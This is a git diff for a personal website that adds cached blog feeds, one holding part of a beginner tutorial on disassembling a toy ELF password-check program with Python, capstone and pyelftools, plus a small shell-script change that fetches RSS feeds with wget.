anyway.</p> <h2 id="setup">Setup</h2> <p>As the title suggests, you’re going to need a Python 3 interpreter before anything else. Once you’ve confirmed beyond reasonable doubt that you do, in fact, have a Python 3 interpreter installed on your system, run</p> <pre><code class="language-console">$ pip install capstone pyelftools </code></pre> <p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p> <p>With that out of the way, let’s start with an example of a basic reversing challenge.</p> <pre><code class="language-c">/* chall.c */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; int main() { char *pw = malloc(9); pw[0] = 'a'; for(int i = 1; i &lt;= 8; i++){ pw[i] = pw[i - 1] + 1; } pw[9] = '\0'; char *in = malloc(10); printf(&quot;password: &quot;); fgets(in, 10, stdin); // 'abcdefghi' if(strcmp(in, pw) == 0) { printf(&quot;haha yes!\n&quot;); } else { printf(&quot;nah dude\n&quot;); } } </code></pre> <p>Compile it with GCC/Clang:</p> <pre><code class="language-console">$ gcc chall.c -o chall.elf </code></pre> <h2 id="scripting">Scripting</h2> <p>For starters, let’s look at the different sections present in the binary.</p> <pre><code class="language-python"># sections.py from elftools.elf.elffile import ELFFile with open('./chall.elf', 'rb') as f: e = ELFFile(f) for section in e.iter_sections(): print(hex(section['sh_addr']), section.name) </code></pre> <p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p> <pre><code class="language-console">› python sections.py 0x238 .interp 0x254 .note.ABI-tag 0x274 .note.gnu.build-id 0x298 .gnu.hash 0x2c0 .dynsym 0x3e0 .dynstr 0x484 .gnu.version 0x4a0 .gnu.version_r 0x4c0 .rela.dyn 0x598 .rela.plt 0x610 .init 0x630 .plt 0x690 .plt.got 0x6a0 .text 0x8f4 .fini 0x900 .rodata 0x924 .eh_frame_hdr 0x960 .eh_frame 0x200d98 .init_array 0x200da0 .fini_array 0x200da8 .dynamic 0x200f98 .got 0x201000 .data 0x201010 .bss 0x0 .comment 0x0 .symtab 0x0 .strtab 0x0 .shstrtab </code></pre> <p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p> <p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p> <pre><code class="language-python"># disas1.py from elftools.elf.elffile import ELFFile from capstone import * with open('./bin.elf', 'rb') as f: elf = ELFFile(f) code = elf.get_section_by_name('.text') ops = code.data() addr = code['sh_addr'] md = Cs(CS_ARCH_X86, CS_MODE_64) for i in md.disasm(ops, addr): print(f'0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}') </code></pre> <p>The code is fairly straightforward (I think). We should be seeing this, on running</p> <pre><code class="language-console">› python disas1.py | less 0x6a0: xor ebp, ebp 0x6a2: mov r9, rdx 0x6a5: pop rsi 0x6a6: mov rdx, rsp 0x6a9: and rsp, 0xfffffffffffffff0 0x6ad: push rax 0x6ae: push rsp 0x6af: lea r8, [rip + 0x23a] 0x6b6: lea rcx, [rip + 0x1c3] 0x6bd: lea rdi, [rip + 0xe6] **0x6c4: call qword ptr [rip + 0x200916]** 0x6ca: hlt ... snip ... </code></pre> <p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p> <p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html" rel="nofollow">linuxbase.org</a></p> <blockquote> <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p> </blockquote> <p>To try and find these relocation entries, we write a third script.</p> <pre><code class="language-python"># relocations.py import sys from elftools.elf.elffile import ELFFile from elftools.elf.relocation import RelocationSection with open('./chall.elf', 'rb') as f: e = ELFFile(f) for section in e.iter_sections(): if isinstance(section, RelocationSection): print(f'{section.name}:') symbol_table = e.get_section(section['sh_link']) for relocation in section.iter_relocations(): symbol = symbol_table.get_symbol(relocation['r_info_sym']) addr = hex(relocation['r_offset']) print(f'{symbol.name} {addr}') </code></pre> <p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p> <pre><code class="language-console">› python relocations.py .rela.dyn: 0x200d98 0x200da0 0x201008 _ITM_deregisterTMCloneTable 0x200fd8 **__libc_start_main 0x200fe0** __gmon_start__ 0x200fe8 _ITM_registerTMCloneTable 0x200ff0 __cxa_finalize 0x200ff8 stdin 0x201010 .rela.plt: puts 0x200fb0 printf 0x200fb8 fgets 0x200fc0 strcmp 0x200fc8 malloc 0x200fd0 </code></pre> <p>Remember the function call at <code>0x200fe0</code> from earlier? Yep, so that was a call to the well known <code>__libc_start_main</code>. Again, according to <a href="http://refspecs.linuxbase.org/LSB_3.1.0/LSB-generic/LSB-generic/baselib -- libc-start-main-.html" rel="nofollow">linuxbase.org</a></p> <blockquote> <p>The <code>__libc_start_main()</code> function shall perform any necessary initialization of the execution environment, call the <em>main</em> function with appropriate arguments, and handle the return from <code>main()</code>. If the <code>main()</code> function returns, the return value shall be passed to the <code>exit()</code> function.</p> </blockquote> <p>And its definition is like so</p> <pre><code class="language-c">int __libc_start_main(int *(main) (int, char * *, char * *), int argc, char * * ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end)); </code></pre> <p>Looking back at our disassembly</p> <pre><code>0x6a0: xor ebp, ebp 0x6a2: mov r9, rdx 0x6a5: pop rsi 0x6a6: mov rdx, rsp 0x6a9: and rsp, 0xfffffffffffffff0 0x6ad: push rax 0x6ae: push rsp 0x6af: lea r8, [rip + 0x23a] 0x6b6: lea rcx, [rip + 0x1c3] **0x6bd: lea rdi, [rip + 0xe6]** 0x6c4: call qword ptr [rip + 0x200916] 0x6ca: hlt ... snip ... </code></pre> <p>but this time, at the <code>lea</code> or Load Effective Address instruction, which loads some address <code>[rip + 0xe6]</code> into the <code>rdi</code> register. <code>[rip + 0xe6]</code> evaluates to <code>0x7aa</code> which happens to be the address of our <code>main()</code> function! How do I know that? Because <code>__libc_start_main()</code>, after doing whatever it does, eventually jumps to the function at <code>rdi</code>, which is generally the <code>main()</code> function. It looks something like this</p> <p><img src="https://cdn-images-1.medium.com/max/800/0*oQA2MwHjhzosF8ZH.png" alt="" /></p> <p>To see the disassembly of <code>main</code>, seek to <code>0x7aa</code> in the output of the script we’d written earlier (<code>disas1.py</code>).</p> <p>From what we discovered earlier, each <code>call</code> instruction points to some function which we can see from the relocation entries. So following each <code>call</code> into their relocations gives us this</p> <pre><code>printf 0x650 fgets 0x660 strcmp 0x670 malloc 0x680 </code></pre> <p>Putting all this together, things start falling into place. Let me highlight the key sections of the disassembly here. It’s pretty self-explanatory.</p> <pre><code>0x7b2: mov edi, 0xa ; 10 0x7b7: call 0x680 ; malloc </code></pre> <p>The loop to populate the <code>*pw</code> string</p> <pre><code>0x7d0: mov eax, dword ptr [rbp - 0x14] 0x7d3: cdqe 0x7d5: lea rdx, [rax - 1] 0x7d9: mov rax, qword ptr [rbp - 0x10] 0x7dd: add rax, rdx 0x7e0: movzx eax, byte ptr [rax] 0x7e3: lea ecx, [rax + 1] 0x7e6: mov eax, dword ptr [rbp - 0x14] 0x7e9: movsxd rdx, eax 0x7ec: mov rax, qword ptr [rbp - 0x10] 0x7f0: add rax, rdx 0x7f3: mov edx, ecx 0x7f5: mov byte ptr [rax], dl 0x7f7: add dword ptr [rbp - 0x14], 1 0x7fb: cmp dword ptr [rbp - 0x14], 8 0x7ff: jle 0x7d0 </code></pre> <p>And this looks like our <code>strcmp()</code></p> <pre><code>0x843: mov rdx, qword ptr [rbp - 0x10] ; *in 0x847: mov rax, qword ptr [rbp - 8] ; *pw 0x84b: mov rsi, rdx 0x84e: mov rdi, rax 0x851: call 0x670 ; strcmp 0x856: test eax, eax ; is = 0? 0x858: jne 0x868 ; no? jump to 0x868 0x85a: lea rdi, [rip + 0xae] ; &quot;haha yes!&quot; 0x861: call 0x640 ; puts 0x866: jmp 0x874 0x868: lea rdi, [rip + 0xaa] ; &quot;nah dude&quot; 0x86f: call 0x640 ; puts </code></pre> <p>I’m not sure why it uses <code>puts</code> here? I might be missing something; perhaps <code>printf</code> calls <code>puts</code>. I could be wrong. I also confirmed with radare2 that those locations are actually the strings “haha yes!” and “nah dude”.</p> <p><strong>Update</strong>: It&rsquo;s because of compiler optimization. A <code>printf()</code> (in this case) is seen as a bit overkill, and hence gets simplified to a <code>puts()</code>.</p> <h2 id="conclusion">Conclusion</h2> <p>Wew, that took quite some time. But we’re done. If you’re a beginner, you might find this extremely confusing, or probably didn’t even understand what was going on. And that’s okay. Building an intuition for reading and grokking disassembly comes with practice. I’m no good at it either.</p> <p>All the code used in this post is here: <a href="https://github.com/icyphox/asdf/tree/master/reversing-elf" rel="nofollow">https://github.com/icyphox/asdf/tree/master/reversing-elf</a></p> <p>Ciao for now, and I’ll see ya in #2 of this series&mdash;PE binaries. Whenever that is.</p> + + \ No newline at end of file diff --git a/cached-feeds/j3s.xml b/cached-feeds/j3s.xml new file mode 100644 index 0000000..1a30454 --- /dev/null +++ b/cached-feeds/j3s.xml @@ -0,0 +1,83 @@ + + + + j3s.sh + + + 2023-03-20T00:00:00.000Z + + Jes Olson + + https://j3s.sh/ + + + vore: a new rss feed reader + + https://j3s.sh/thought/vore-a-new-rss-feed-reader.html + 2023-03-20T00:00:00.000Z + + + + write posix shell + + https://j3s.sh/thought/write-posix-shell.html + 2023-03-10T00:00:00.000Z + + + + .io domains considered harmful + + https://j3s.sh/thought/.io-domains-considered-harmful.html + 2022-11-14T00:00:00.000Z + + + + drones run linux: the free software movement isn't enough + + https://j3s.sh/thought/drones-run-linux-free-software-isnt-enough.html + 2022-09-16T00:00:00.000Z + + + + the constantly collapsing horizon + + https://j3s.sh/thought/the-constantly-collapsing-horizon.html + 2022-07-31T00:00:00.000Z + + + + my website is one binary + + https://j3s.sh/thought/my-website-is-one-binary.html + 2022-04-06T00:00:00.000Z + + + + there is beauty in the minimalism of email + + https://j3s.sh/thought/there-is-beauty-in-the-minimalism-of-email.html + 2022-03-23T00:00:00.000Z + + + + storing passwords with age + + https://j3s.sh/thought/storing-passwords-with-age.html + 2021-04-20T00:00:00.000Z + + + + building a fixed gear bicycle + + https://j3s.sh/thought/building-a-fixed-gear-bicycle.html + 2020-12-20T00:00:00.000Z + + + + something is different + + https://j3s.sh/thought/something-is-different.html + 2020-04-20T00:00:00.000Z + + + \ No newline at end of file diff --git a/index.md b/index.md index f08c7ee..435ce73 100644 --- a/index.md +++ b/index.md @@ -27,7 +27,7 @@ Algunas cosas de las que soy parte: - [Sutty](https://sutty.coop.ar/) -## Mis amigxs ([[Mi webring.gen]]) +## Feed de personas que me parecen copadas ([[Mi webring.gen]]) diff --git a/tool b/tool index d5aeaad..876919a 100755 --- a/tool +++ b/tool @@ -13,11 +13,13 @@ check() { } refresh_feed() { echo "Refreshing $1" - busybox wget -qO "cached-feeds/$1.xml" "$2" || exit $? + wget -qO "cached-feeds/$1.xml" "$2" || exit $? } refresh_feeds() { refresh_feed fauno https://fauno.endefensadelsl.org/feed.xml refresh_feed copiona https://copiona.com/feed.xml + refresh_feed j3s https://j3s.sh/feed.atom + refresh_feed icyphox https://icyphox.sh/blog/feed.xml } fatal() {